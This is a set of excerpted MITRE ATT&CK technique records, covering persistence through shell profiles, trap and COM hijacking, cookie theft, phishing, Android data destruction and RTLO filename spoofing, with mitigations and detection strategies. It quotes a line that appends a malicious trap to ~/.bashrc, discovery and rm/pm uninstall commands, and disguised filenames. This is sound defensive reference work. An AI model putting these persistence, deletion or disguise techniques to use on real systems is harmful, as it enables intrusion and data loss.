Access is usually obtained through compromising accounts used to manage cloud infrastructure.\n\nCloud service providers often provide infrastructure throughout the world in order to improve performance, provide redundancy, and allow customers to meet compliance requirements. Oftentimes, a customer will only use a subset of the available regions and may not actively monitor other regions. If an adversary creates resources in an unused region, they may be able to operate undetected.\n\nA variation on this behavior takes advantage of differences in functionality across cloud regions. An adversary could utilize regions which do not support advanced detection services in order to avoid detection of their activity.\n\nAn example of adversary use of unused AWS regions is to mine cryptocurrency through Resource Hijacking, which can cost organizations substantial amounts of money over time depending on the processing power used.\n\n**Classification.** - Tactics: stealth\n- Platforms: IaaS\n\n**Mitigations.** - **Software Configuration**: Software configuration refers to making security-focused adjustments to the settings of applications, middleware, databases, or other software to mitigate potential threats.

Such transfers may utilize existing cloud provider APIs and the internal address space of the cloud provider to blend into normal traffic or avoid data transfers over external network interfaces.\n\nAdversaries may also use cloud-native mechanisms to share victim data with adversary-controlled cloud accounts, such as creating anonymous file sharing links or, in Azure, a shared access signature (SAS) URI.\n\nIncidents have been observed where adversaries have created backups of cloud instances and transferred them to separate accounts.\n\n**Classification.** - Tactics: exfiltration\n- Platforms: IaaS, Office Suite, SaaS\n\n**Mitigations.** - **Data Loss Prevention**: Data Loss Prevention (DLP) involves implementing strategies and technologies to identify, categorize, monitor, and control the movement of sensitive data within an organization.

Web applications and services often use session cookies as an authentication token after a user has authenticated to a website.\n\nCookies are often valid for an extended period of time, even if the web application is not actively used. Cookies can be found on disk, in the process memory of the browser, and in network traffic to remote systems. Additionally, other applications on the targets machine might store sensitive authentication cookies in memory (e.g. apps which authenticate to cloud services). Session cookies can be used to bypasses some multi-factor authentication protocols.\n\nThere are several examples of malware targeting cookies from web browsers on the local system. Adversaries may also steal cookies by injecting malicious JavaScript content into websites or relying on User Execution by tricking victims into running malicious JavaScript in their browser.\n\nThere are also open source frameworks such as `Evilginx2` and `Muraena` that can gather session cookies through a malicious proxy (e.g., Adversary-in-the-Middle) that can be set up by an adversary and used in phishing campaigns.\n\nAfter an adversary acquires a valid cookie, they can then perform a Web Session Cookie technique to login to the corresponding web application.\n\n**Classification.** - Tactics: credential-access\n- Platforms: Linux, macOS, Office Suite, SaaS, Windows\n\n**Mitigations.** - **Audit**: Auditing is the process of recording activity and systematically reviewing and analyzing the activity and system configurations. The primary purpose of auditing is to detect anomalies and identify potential threats or weaknesses in the environment. Proper auditing configurations can also help to meet compliance requirements. The process of auditing encompasses regular analysis of user behaviors and system logs in support of proactive security measures.\n- **Software Configuration**: Software configuration refers to making security-focused adjustments to the settings of applications, middleware, databases, or other software to mitigate potential threats.

Beginning in Android 9, idle applications running in the background no longer have access to device sensors, such as the camera, microphone, and gyroscope. Applications can retain sensor access by running in the foreground, using Android’s `startForeground` API method. This informs the system that the user is actively interacting with the application, and it should not be killed. The only requirement to start a foreground service is showing a persistent notification to the user.\n\nMalicious applications may abuse the `startForeground` API method to continue running in the foreground, while presenting a notification to the user pretending to be a genuine application. This would allow unhindered access to the device’s sensors, assuming permission has been previously granted.\n\nMalicious applications may also abuse the `startForeground` API to inform the Android system that the user is actively interacting with the application, thus preventing it from being killed by the low memory killer.\n\n**Classification.** - Tactics: defense-evasion, persistence\n- Platforms: Android\n\n**Mitigations.** - **User Guidance**: Describes any guidance or training given to users to set particular configuration settings or avoid specific potentially risky behaviors.\n\n**Detection strategies and analytics.** - **Detection of Foreground Persistence**\n - For Android, detect Foreground Persistence by correlating analyst-visible device/network evidence and management state; use streaming or batched telemetry only where the documented collector is deployed.

[…]\n\n## Reference: ATT&CK T1546.004 Unix Shell Configuration Modification\n**ATT&CK T1546.004 Unix Shell Configuration Modification (full record).** Adversaries may establish persistence through executing malicious commands triggered by a user’s shell. User Unix Shells execute several configuration scripts at different points throughout the session based on events. For example, when a user opens a command-line interface or remotely logs in (such as via SSH) a login shell is initiated. The login shell executes scripts from the system (`/etc`) and the user’s home directory (`~/`) to configure the environment. All login shells on a system use /etc/profile when initiated. These configuration scripts run at the permission level of their directory and are often used to set environment variables, create aliases, and customize the user’s environment. When the shell exits or terminates, additional shell scripts are executed to ensure the shell exits appropriately.\n\nAdversaries may attempt to establish persistence by inserting commands into scripts automatically executed by shells. Using bash as an example, the default shell for most GNU/Linux systems, adversaries may add commands that launch malicious binaries into the `/etc/profile` and `/etc/profile.d` files. These files typically require root permissions to modify and are executed each time any shell on a system launches. For user level permissions, adversaries can insert malicious commands into `~/.bash_profile`, `~/.bash_login`, or `~/.profile` which are sourced when a user opens a command-line interface or connects remotely. Since the system only executes the first existing file in the listed order, adversaries have used `~/.bash_profile` to ensure execution. Adversaries have also leveraged the `~/.bashrc` file which is additionally executed if the connection is established remotely or an additional interactive shell is opened, such as a new tab in the command-line interface. Some malware targets the termination of a program to trigger execution, adversaries can use the `~/.bash_logout` file to execute malicious commands at the end of a session.\n\nFor macOS, the functionality of this technique is similar but may leverage zsh, the default shell for macOS 10.15+. When the Terminal.app is opened, the application launches a zsh login shell and a zsh interactive shell. […]\n\n## Reference: ATT&CK T1546.005 Trap\n**ATT&CK T1546.005 Trap (full record).** Adversaries may establish persistence by executing malicious content triggered by an interrupt signal. The `trap` command allows programs and shells to specify commands that will be executed upon receiving interrupt signals. A common situation is a script allowing for graceful termination and handling of common keyboard interrupts like `ctrl+c` and `ctrl+d`.\n\nAdversaries can use this to register code to be executed when the shell encounters specific interrupts as a persistence mechanism. Trap commands are of the following format `trap 'command list' signals` where \"command list\" will be executed when \"signals\" are received.\n\n**Classification.** - Tactics: privilege-escalation, persistence\n- Platforms: macOS, Linux\n- Sub-technique of: T1546 Event Triggered Execution - Adversaries may establish persistence and/or elevate privileges using system mechanisms that trigger execution based on specific events. Various operating systems have means to monitor and subscribe to events such as logons or other user activity such as running specific applications/binaries.\n\n**Detection strategies and analytics.** - **Detection Strategy for Event Triggered Execution via Trap (T1546.005)**\n - Correlate file modifications in shell startup scripts (e.g.,.bashrc,.profile) with embedded `trap` commands and observe if those changes are followed by the unexpected execution of child processes when terminal signals (e.g., SIGINT) are triggered. Use contextual linking with user session activity to detect privilege misuse. (telemetry: auditd:SYSCALL:execve, auditd:SYSCALL:Modification of user shell profile or trap registration via echo/redirection (e.g., echo \"trap 'malicious_cmd' INT\" >> ~/.bashrc), auditd:SYSCALL:open)\n - Detect unauthorized `trap` command registrations in shell startup files (e.g.,.zprofile,.bash_profile,.zshrc) followed by execution chains during user terminal interaction.

Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nRecent Android security enhancements have made it more difficult to obtain a list of running processes. On Android 7 and later, there is no way for an application to obtain the process list without abusing elevated privileges. This is due to the Android kernel utilizing the `hidepid` mount feature.

Adversaries may exploit remote services by taking advantage of a mobile device’s access to an internal enterprise network through local connectivity or through a Virtual Private Network (VPN). Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. A common goal for post-compromise exploitation of remote services is for lateral movement to enable access to a remote system.\n\nAn adversary may need to determine if the remote system is in a vulnerable state, which may be done through Network Service Scanning or other Discovery methods. These look for common, vulnerable software that may be deployed in the network, the lack of certain patches that may indicate vulnerabilities, or security software that may be used to detect or contain remote exploitation. Servers are likely a high value target for lateral movement exploitation, but endpoint systems may also be at risk if they provide an advantage or access to additional resources.\n\nDepending on the permissions level of the vulnerable remote service, an adversary may achieve Exploitation for Privilege Escalation as a result of lateral movement exploitation as well.\n\n**Classification.** - Tactics: lateral-movement\n- Platforms: Android, iOS\n\n**Mitigations.** - **Enterprise Policy**: An enterprise mobility management (EMM), also known as mobile device management (MDM), system can be used to provision policies to mobile devices to control aspects of their allowed behavior.\n\n**Detection strategies and analytics.** - **Detection of Exploitation of Remote Services**\n - For Android, detect Exploitation of Remote Services by correlating analyst-visible device/network evidence and management state; use streaming or batched telemetry only where the documented collector is deployed.

Because Android does not allow third-party applications to hold the `CAPTURE_AUDIO_OUTPUT` permission by default, only privileged applications, such as those distributed by Google or the device vendor, can access audio output. However, adversaries may be able to gain this access after successfully elevating their privileges. With the `CAPTURE_AUDIO_OUTPUT` permission, adversaries may pass the `MediaRecorder.AudioSource.VOICE_CALL` constant to `MediaRecorder.setAudioOutput`, allowing capture of both voice call uplink and downlink.\n\nOn iOS devices, applications must include the `NSMicrophoneUsageDescription` key in their `Info.plist` file to access the microphone.\n\n**Classification.** - Tactics: collection\n- Platforms: Android, iOS\n\n**Mitigations.** - **Use Recent OS Version**: New mobile operating system versions bring not only patches against discovered vulnerabilities but also often bring security architecture improvements that provide resilience against potential vulnerabilities or weaknesses that have not yet been discovered.

Digital certificates include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate securely with its owner. Certificates can be uploaded to a server, then the server can be configured to use the certificate to enable encrypted communication with it.\n\nAdversaries may install SSL/TLS certificates that can be used to further their operations, such as encrypting C2 traffic (ex: Asymmetric Cryptography with Web Protocols) or lending credibility to a credential harvesting site. Installation of digital certificates may take place for a number of server types, including web servers and email servers.\n\nAdversaries can obtain digital certificates (see Digital Certificates) or create self-signed certificates (see Digital Certificates). Digital certificates can then be installed on adversary controlled infrastructure that may have been acquired (Acquire Infrastructure) or previously compromised (Compromise Infrastructure).\n\n**Classification.** - Tactics: resource-development\n- Platforms: PRE\n- Sub-technique of: T1608 Stage Capabilities - Adversaries may upload, install, or otherwise set up capabilities that can be used during targeting. To support their operations, an adversary may need to take capabilities they developed (Develop Capabilities) or obtained (Obtain Capabilities) and stage them on infrastructure under their control.\n\n**Mitigations.** - **Pre-compromise**: Pre-compromise mitigations involve proactive measures and defenses implemented to prevent adversaries from successfully identifying and exploiting weaknesses during the Reconnaissance and Resource Development phases of an attack. These activities focus on reducing an organization's attack surface, identify adversarial preparation efforts, and increase the difficulty for attackers to conduct successful operations.

Endpoint systems may be compromised through browsing to adversary controlled sites, as in Drive-by Compromise. In such cases, the user's web browser is typically targeted for exploitation (often not requiring any extra user interaction once landing on the site), but adversaries may also set up websites for non-exploitation behavior such as Application Access Token. Prior to Drive-by Compromise, adversaries must stage resources needed to deliver that exploit to users who browse to an adversary controlled site. Drive-by content can be staged on adversary controlled infrastructure that has been acquired (Acquire Infrastructure) or previously compromised (Compromise Infrastructure).\n\nAdversaries may upload or inject malicious web content, such as JavaScript, into websites. This may be done in a number of ways, including:\n\n* Inserting malicious scripts into web pages or other user controllable web content such as forum posts\n* Modifying script files served to websites from publicly writeable cloud storage buckets\n* Crafting malicious web advertisements and purchasing ad space on a website through legitimate ad providers (i.e., Malvertising)\n\nIn addition to staging content to exploit a user's web browser, adversaries may also stage scripting content to profile the user's browser (as in Gather Victim Host Information) to ensure it is vulnerable prior to attempting exploitation.\n\nWebsites compromised by an adversary and used to stage a drive-by may be ones visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted campaign is referred to a strategic web compromise or watering hole attack.\n\nAdversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) during acquisition of infrastructure (Domains) to help facilitate Drive-by Compromise.

A PowerShell profile (`profile.ps1`) is a script that runs when PowerShell starts and can be used as a logon script to customize user environments.\n\nPowerShell supports several profiles depending on the user or host program. For example, there can be different profiles for PowerShell host programs such as the PowerShell console, PowerShell ISE or Visual Studio Code. An administrator can also configure a profile that applies to all users and host programs on the local computer.\n\nAdversaries may modify these profiles to include arbitrary commands, functions, modules, and/or PowerShell drives to gain persistence. Every time a user opens a PowerShell session the modified script will be executed unless the `-NoProfile` flag is used when it is launched.\n\nAn adversary may also be able to escalate privileges if a script in a PowerShell profile is loaded and executed by an account with higher privileges, such as a domain administrator.\n\n**Classification.** - Tactics: privilege-escalation, persistence\n- Platforms: Windows\n- Sub-technique of: T1546 Event Triggered Execution - Adversaries may establish persistence and/or elevate privileges using system mechanisms that trigger execution based on specific events.

It prevents untrusted or malicious code from executing by verifying the digital signatures against trusted sources. Code signing protects against tampering, impersonation, and distribution of unauthorized or malicious software, forming a critical defense against supply chain and software exploitation attacks.\n- **Restrict File and Directory Permissions**: Restricting file and directory permissions involves setting access controls at the file system level to limit which users, groups, or processes can read, write, or execute files. By configuring permissions appropriately, organizations can reduce the attack surface for adversaries seeking to access sensitive data, plant malicious code, or tamper with system files.

Emond is a Launch Daemon that accepts events from various services, runs them through a simple rules engine, and takes action. The emond binary at `/sbin/emond` will load any rules from the `/etc/emond.d/rules/` directory and take action once an explicitly defined event takes place.\n\nThe rule files are in the plist format and define the name, event type, and action to take. Some examples of event types include system startup and user authentication. Examples of actions are to run a system command or send an email. The emond service will not launch if there is no file present in the QueueDirectories path `/private/var/db/emondClients`, specified in the Launch Daemon configuration file at`/System/Library/LaunchDaemons/com.apple.emond.plist`.\n\nAdversaries may abuse this service by writing a rule to execute commands when a defined event occurs, such as system start up or user authentication. Adversaries may also be able to escalate privileges from administrator to root as the emond service is executed with root privileges by the Launch Daemon service.\n\n**Classification.** - Tactics: privilege-escalation, persistence\n- Platforms: macOS\n- Sub-technique of: T1546 Event Triggered Execution - Adversaries may establish persistence and/or elevate privileges using system mechanisms that trigger execution based on specific events.

[…]\n\n## Reference: ATT&CK T1546.015 Component Object Model Hijacking\n**ATT&CK T1546.015 Component Object Model Hijacking (full record).** Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects. COM is a system within Windows to enable interaction between software components through the operating system. References to various COM objects are stored in the Registry.\n\nAdversaries may use the COM system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. Hijacking a COM object requires a change in the Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary's code will be executed instead. An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection.\n\nOne variation of COM hijacking involves abusing Type Libraries (TypeLibs), which provide metadata about COM objects, such as their interfaces and methods. Adversaries may modify Registry keys associated with TypeLibs to redirect legitimate COM object functionality to malicious scripts or payloads. Unlike traditional COM hijacking, which commonly uses local DLLs, this variation may leverage the \"script:\" moniker to execute remote scripts hosted on external servers. This approach enables stealthy execution of code while maintaining persistence, as the remote payload would be automatically downloaded whenever the hijacked COM object is accessed.\n\n**Classification.** - Tactics: privilege-escalation, persistence\n- Platforms: Windows\n- Sub-technique of: T1546 Event Triggered Execution - Adversaries may establish persistence and/or elevate privileges using system mechanisms that trigger execution based on specific events.

Installer packages are OS specific and contain the resources an operating system needs to install applications on a system. Installer packages can include scripts that run prior to installation as well as after installation is complete. Installer scripts may inherit elevated permissions when executed. Developers often use these scripts to prepare the environment for installation, check requirements, download dependencies, and remove files after installation.\n\nUsing legitimate applications, adversaries have distributed applications with modified installer scripts to execute malicious content. When a user installs the application, they may be required to grant administrative permissions to allow the installation. At the end of the installation process of the legitimate application, content such as macOS `postinstall` scripts can be executed with the inherited elevated permissions. Adversaries can use these scripts to execute a malicious executable or install other malicious components (such as a Launch Daemon) with the elevated permissions.\n\nDepending on the distribution, Linux versions of package installer scripts are sometimes called maintainer scripts or post installation scripts. These scripts can include `preinst`, `postinst`, `prerm`, `postrm` scripts and run as root when executed.\n\nFor Windows, the Microsoft Installer services uses `.msi` files to manage the installing, updating, and uninstalling of applications. These installation routines may also include instructions to perform additional actions that may be abused by adversaries.\n\n**Classification.** - Tactics: privilege-escalation, persistence\n- Platforms: Linux, macOS, Windows\n- Sub-technique of: T1546 Event Triggered Execution - Adversaries may establish persistence and/or elevate privileges using system mechanisms that trigger execution based on specific events.

This mitigation can be implemented through the following measures:\n- **Limit Hardware Installation**: Prevent unauthorized users or groups from installing or using hardware, such as external drives, peripheral devices, or unapproved internal hardware components, by enforcing hardware usage policies and technical controls. This includes disabling USB ports, restricting driver installation, and implementing endpoint security tools to monitor and block unapproved devices. […]\n\n## Reference: ATT&CK T1201 Password Policy Discovery\n**ATT&CK T1201 Password Policy Discovery (full record).** Adversaries may attempt to access detailed information about the password policy used within an enterprise network or cloud environment. Password policies are a way to enforce complex passwords that are difficult to guess or crack through Brute Force. This information may help the adversary to create a list of common passwords and launch dictionary and/or brute force attacks which adheres to the policy (e.g. if the minimum password length should be 8, then not trying passwords such as 'pass123'; not checking for more than 3-4 passwords per account if the lockout is set to 6 as to not lock out accounts).\n\nPassword policies can be set and discovered on Windows, Linux, and macOS systems via various command shell utilities such as `net accounts (/domain)`, `Get-ADDefaultDomainPasswordPolicy`, `chage -l `, `cat /etc/pam.d/common-password`, and `pwpolicy getaccountpolicies`. Adversaries may also leverage a Network Device CLI on network devices to discover password policy information (e.g. `show aaa`, `show aaa common-criteria policy all`).\n\nPassword policies can be discovered in cloud environments using available APIs such as `GetAccountPasswordPolicy` in AWS.\n\n**Classification.** - Tactics: discovery\n- Platforms: Windows, Linux, macOS, IaaS, Network Devices, Identity Provider, SaaS, Office Suite\n\n**Mitigations.** - **Password Policies**: Set and enforce secure password policies for accounts to reduce the likelihood of unauthorized access.

Various Windows utilities may be used to execute commands, possibly without invoking cmd. For example, Forfiles, the Program Compatibility Assistant (`pcalua.exe`), components of the Windows Subsystem for Linux (WSL), `Scriptrunner.exe`, as well as other utilities may invoke the execution of programs and commands from a Command and Scripting Interpreter, Run window, or via scripts. Adversaries may also abuse the `ssh.exe` binary to execute malicious commands via the `ProxyCommand` and `LocalCommand` options, which can be invoked via the `-o` flag or by modifying the SSH config file.\n\nAdversaries may abuse these features for Stealth, specifically to perform arbitrary execution while subverting detections and/or mitigation controls (such as Group Policy) that limit/prevent the usage of cmd or file extensions more commonly associated with malicious payloads.\n\n**Classification.** - Tactics: stealth\n- Platforms: Windows\n\n**Detection strategies and analytics.** - **Indirect Command Execution – Windows utility abuse behavior chain**\n - Cause→effect chain: (1) A user or service launches an indirection utility (e.g., forfiles.exe, pcalua.exe, wsl.exe, scriptrunner.exe, ssh.exe with -o ProxyCommand/LocalCommand).

[…]\n\n## Reference: ATT&CK T1203 Exploitation for Client Execution\n**ATT&CK T1203 Exploitation for Client Execution (full record).** Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.\n\nSeveral types exist:\n\n**Browser-based Exploitation.** Web browsers are a common target through Drive-by Compromise and Spearphishing Link. Endpoint systems may be compromised through normal web browsing or from certain users being targeted by links in spearphishing emails to adversary controlled sites used to exploit the web browser. These often do not require an action by the user for the exploit to be executed.\n\n**Office Applications.** Common office and productivity applications such as Microsoft Office are also targeted through Phishing. Malicious files will be transmitted directly as attachments or through links to download them. These require the user to open the document or file for the exploit to run.\n\n**Common Third-party Applications.** Other applications that are commonly seen or are part of the software deployed in a target network may also be used for exploitation. Applications such as Adobe Reader and Flash, which are common in enterprise environments, have been routinely targeted by adversaries attempting to gain access to systems. Depending on the software and nature of the vulnerability, some may be exploited in the browser or require the user to open a file. For instance, some Flash exploits have been delivered as objects within Microsoft Office documents.\n\n**Classification.** - Tactics: execution\n- Platforms: Linux, macOS, Windows\n\n**Mitigations.** - **Exploit Protection**: Deploy capabilities that detect, block, and mitigate conditions indicative of software exploits. These capabilities aim to prevent exploitation by addressing vulnerabilities, monitoring anomalous behaviors, and applying exploit-mitigation techniques to harden systems and software. […]\n\n## Reference: ATT&CK T1204 User Execution\n**ATT&CK T1204 User Execution (full record).** An adversary may rely upon specific actions by a user in order to gain execution. Users may be subjected to social engineering to get them to execute malicious code by, for example, opening a malicious document file or link. These user actions will typically be observed as follow-on behavior from forms of Phishing.\n\nWhile User Execution frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after Internal Spearphishing.\n\nAdversaries may also deceive users into performing actions such as:\n\n* Enabling Remote Access Tools, allowing direct control of the system to the adversary\n* Running malicious JavaScript in their browser, allowing adversaries to Steal Web Session Cookies\n* Downloading and executing malware for User Execution\n* Coerceing users to copy, paste, and execute malicious code manually\n\nFor example, tech support scams can be facilitated through Phishing, vishing, or various forms of user interaction. Adversaries can use a combination of these methods, such as spoofing and promoting toll-free numbers or call centers that are used to direct victims to malicious websites, to deliver and execute payloads containing malware or Remote Access Tools.\n\n**Classification.** - Tactics: execution\n- Platforms: Linux, Windows, macOS, IaaS, Containers\n\n**Sub-techniques.** - T1204.005 Malicious Library: Adversaries may rely on a user installing a malicious library to facilitate execution.\n- T1204.002 Malicious File: An adversary may rely upon a user opening a malicious file in order to gain execution.

Binaries used in this technique are often Microsoft-signed files, indicating that they have been either downloaded from Microsoft or are already native in the operating system. Binaries signed with trusted digital certificates can typically execute on Windows systems protected by digital signature validation. Several Microsoft signed binaries that are default on Windows installations can be used to proxy execution of other files or commands. Similarly, on Linux systems adversaries may abuse trusted binaries such as split to proxy execution of malicious commands.\n\nAdversaries may abuse application binaries installed on a system for proxy execution of malicious code or domain-specific commands. These commands could be used to target local resources on the device or networked devices within the environment through defined APIs (Execution through API) or application-specific programming languages (e.g., MicroSCADA SCIL). Application binaries may be signed by the developer or generally trusted by the operators, analysts, and monitoring tools accustomed to the environment. These applications may be developed and/or directly provided by the device vendor to enable configuration, management, and operation of their devices without many alternatives.\n\nAdversaries may seek to target these trusted application binaries to execute or send commands without the development of custom malware. For example, adversaries may target a SCADA server binary which has the existing ability to send commands to substation devices, such as through IEC 104 command messages. Proxy execution may still require the development of custom tools to hook into the application binary’s execution.\n\n**Classification.** - Tactics: evasion\n- Platforms: Embedded, Windows, Linux\n\n**Mitigations.** - **Execution Prevention**: Block execution of code on a system through application control, and/or script blocking.\n\n**Detection strategies and analytics.** - **Detection of System Binary Proxy Execution**\n - Real-time monitoring identifies a trusted, signed Windows system binary executing with command-line arguments inconsistent with its documented administrative purpose -- specifically arguments indicating payload decoding, remote content execution, or script invocation -- on an Industrial Control System (ICS) host. […]\n\n## Reference: ATT&CK T0895 Autorun Image\n**ATT&CK T0895 Autorun Image (full record).** Adversaries may leverage AutoRun functionality or scripts to execute malicious code. Devices configured to enable AutoRun functionality or legacy operating systems may be susceptible to abuse of these features to run malicious code stored on various forms of removeable media (i.e., USB, Disk Images [.ISO]). Commonly, AutoRun or AutoPlay are disabled in many operating systems configurations to mitigate against this technique. If a device is configured to enable AutoRun or AutoPlay, adversaries may execute code on the device by mounting the removable media to the device, either through physical or virtual means. This may be especially relevant for virtual machine environments where disk images may be dynamically mapped to a guest system on a hypervisor.\n\nAn example could include an adversary gaining access to a hypervisor through the management interface to modify a virtual machine’s hardware configuration. They could then deploy an iso image with a malicious AutoRun script to cause the virtual machine to automatically execute the code contained on the disk image. This would enable the execution of malicious code within a virtual machine without needing any prior remote access to that system.\n\n**Classification.** - Tactics: execution\n- Platforms: Embedded, Windows, Linux\n\n**Mitigations.** - **Operating System Configuration**: Make configuration changes related to the operating system or a common feature of the operating system that result in system hardening against techniques.\n\n**Detection strategies and analytics.** - **Detection of Autorun Image**\n - Real-time monitoring identifies a field device loading a modified autorun image (boot read-only memory, bootloader firmware) detected by a discrepancy between the device's declared firmware hash and the authorized firmware inventory hash, with post-reboot device behavior diverging from expected (unexpected protocols active, unanticipated network connections).

All forms of phishing are electronically delivered social engineering. Adversaries can conduct both non-targeted phishing, such as in mass malware spam campaigns, as well as more targeted phishing tailored for a specific individual, company, or industry, known as “spearphishing.” Phishing often involves social engineering techniques, such as posing as a trusted source, as well as evasion techniques, such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages.\n\nMobile phishing may take various forms. For example, adversaries may send emails containing malicious attachments or links, typically to deliver and then execute malicious code on victim devices. Phishing may also be conducted via third-party services, like social media platforms. Adversaries may also impersonate executives of organizations to persuade victims into performing some action on their behalf. For example, adversaries will often use social engineering techniques in text messages to trick the victims into acting quickly, which leads to adversaries obtaining credentials and other information.\n\nMobile devices are a particularly attractive target for adversaries executing phishing campaigns. Due to their smaller form factor than traditional desktop endpoints, users may not be able to notice minor differences between genuine and phishing websites. Further, mobile devices have additional sensors and radios that allow adversaries to execute phishing attempts over several different vectors, such as:\n\n- SMS messages: Adversaries may send SMS messages (known as “smishing”) from compromised devices to potential targets to convince the target to, for example, install malware, navigate to a specific website, or enable certain insecure configurations on their device.\n- Quick Response (QR) Codes: Adversaries may use QR codes (known as “quishing”) to redirect users to a phishing website. For example, an adversary could replace a legitimate public QR Code with one that leads to a different destination, such as a phishing website. A malicious QR code could also be delivered via other means, such as SMS or email. In the latter case, an adversary could utilize a malicious QR code in an email to pivot from the user’s desktop computer to their mobile device. […]\n\n## Reference: ATT&CK T1661 Application Versioning\n**ATT&CK T1661 Application Versioning (full record).** An adversary may push an update to a previously benign application to add malicious code. This can be accomplished by pushing an initially benign, functional application to a trusted application store, such as the Google Play Store or the Apple App Store. This allows the adversary to establish a trusted userbase that may grant permissions to the application prior to the introduction of malicious code. Then, an application update could be pushed to introduce malicious code.\n\nThis technique could also be accomplished by compromising a developer’s account. This would allow an adversary to take advantage of an existing userbase without having to establish the userbase themselves.\n\n**Classification.** - Tactics: initial-access, defense-evasion\n- Platforms: Android, iOS\n\n**Mitigations.** - **Enterprise Policy**: An enterprise mobility management (EMM), also known as mobile device management (MDM), system can be used to provision policies to mobile devices to control aspects of their allowed behavior.\n- **Use Recent OS Version**: New mobile operating system versions bring not only patches against discovered vulnerabilities but also often bring security architecture improvements that provide resilience against potential vulnerabilities or weaknesses that have not yet been discovered.

Data destruction is likely to render stored data irrecoverable by forensic techniques through overwriting files or data on local and remote drives.\n\nTo achieve data destruction, adversaries may use the `pm uninstall` command to uninstall packages or the `rm` command to remove specific files. For example, adversaries may first use `pm uninstall` to uninstall non-system apps, and then use `rm (-f) ` to delete specific files, further hiding malicious activity.\n\n**Classification.** - Tactics: impact\n- Platforms: Android\n\n**Mitigations.** - **User Guidance**: Describes any guidance or training given to users to set particular configuration settings or avoid specific potentially risky behaviors.\n\n**Detection strategies and analytics.** - **Detection of Data Destruction**\n - For Android, detect Data Destruction from documented management, network, or vetting evidence; treat state queries as periodic observations rather than real-time events.

In the case of Lateral Movement, adversaries may utilize the physical connection of a device to a compromised or malicious charging station or PC to bypass application store requirements and install malicious applications directly. In the case of Initial Access, adversaries may attempt to exploit the device via the connection to gain access to data stored on the device. Examples of this include:\n\n* Exploiting insecure bootloaders in a Nexus 6 or 6P device over USB and gaining the ability to perform actions including intercepting phone calls, intercepting network traffic, and obtaining the device physical location.\n* Exploiting weakly-enforced security boundaries in Android devices such as the Google Pixel 2 over USB.\n* Products from Cellebrite and Grayshift purportedly that can exploit some iOS devices using physical access to the data port to unlock the passcode.\n\n**Classification.** - Tactics: initial-access, lateral-movement\n- Platforms: Android, iOS\n\n**Mitigations.** - **Lock Bootloader**: On devices that provide the capability to unlock the bootloader (hence allowing any operating system code to be flashed onto the device), perform periodic checks to ensure that the bootloader is locked.\n- **Use Recent OS Version**: New mobile operating system versions bring not only patches against discovered vulnerabilities but also often bring security architecture improvements that provide resilience against potential vulnerabilities or weaknesses that have not yet been discovered.

Several methods exist to accomplish this, including:\n\n* Biometric spoofing: If biometric authentication is used, an adversary could attempt to spoof a mobile device’s biometric authentication mechanism. Both iOS and Android partly mitigate this attack by requiring the device’s passcode rather than biometrics to unlock the device after every device restart, and after a set or random amount of time.\n* Unlock code bypass: An adversary could attempt to brute-force or otherwise guess the lockscreen passcode (typically a PIN or password), including physically observing (“shoulder surfing”) the device owner’s use of the lockscreen passcode. Mobile OS vendors partly mitigate this by implementing incremental backoff timers after a set number of failed unlock attempts, as well as a configurable full device wipe after several failed unlock attempts.\n* Vulnerability exploit: Techniques have been periodically demonstrated that exploit mobile devices to bypass the lockscreen. The vulnerabilities are generally patched by the device or OS vendor once disclosed.\n\n**Classification.** - Tactics: initial-access\n- Platforms: Android, iOS\n\n**Mitigations.** - **Enterprise Policy**: An enterprise mobility management (EMM), also known as mobile device management (MDM), system can be used to provision policies to mobile devices to control aspects of their allowed behavior.\n- **Security Updates**: Install security updates in response to discovered vulnerabilities.\n\n**Detection strategies and analytics.** - **Detection of Lockscreen Bypass**\n - For Android, detect Lockscreen Bypass by correlating analyst-visible device/network evidence and management state; use streaming or batched telemetry only where the documented collector is deployed.

RTLO is a non-printing Unicode character that causes the text that follows it to be displayed in reverse. For example, a Windows screensaver executable named `March 25 \\u202Excod.scr` will display as `March 25 rcs.docx`. A JavaScript file named `photo_high_re\\u202Egnp.js` will be displayed as `photo_high_resj.png`.\n\nAdversaries may abuse the RTLO character as a means of tricking a user into executing what they think is a benign file type. A common use of this technique is with Spearphishing Attachment/Malicious File since it can trick both end users and defenders if they are not aware of how their tools display and render the RTLO character. Use of the RTLO character has been seen in many targeted intrusion attempts and criminal activity. RTLO can be used in the Windows Registry as well, where regedit.exe displays the reversed characters but the command line tool reg.exe does not by default.\n\n**Classification.** - Tactics: stealth\n- Platforms: Linux, macOS, Windows\n- Sub-technique of: T1036 Masquerading - Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools.

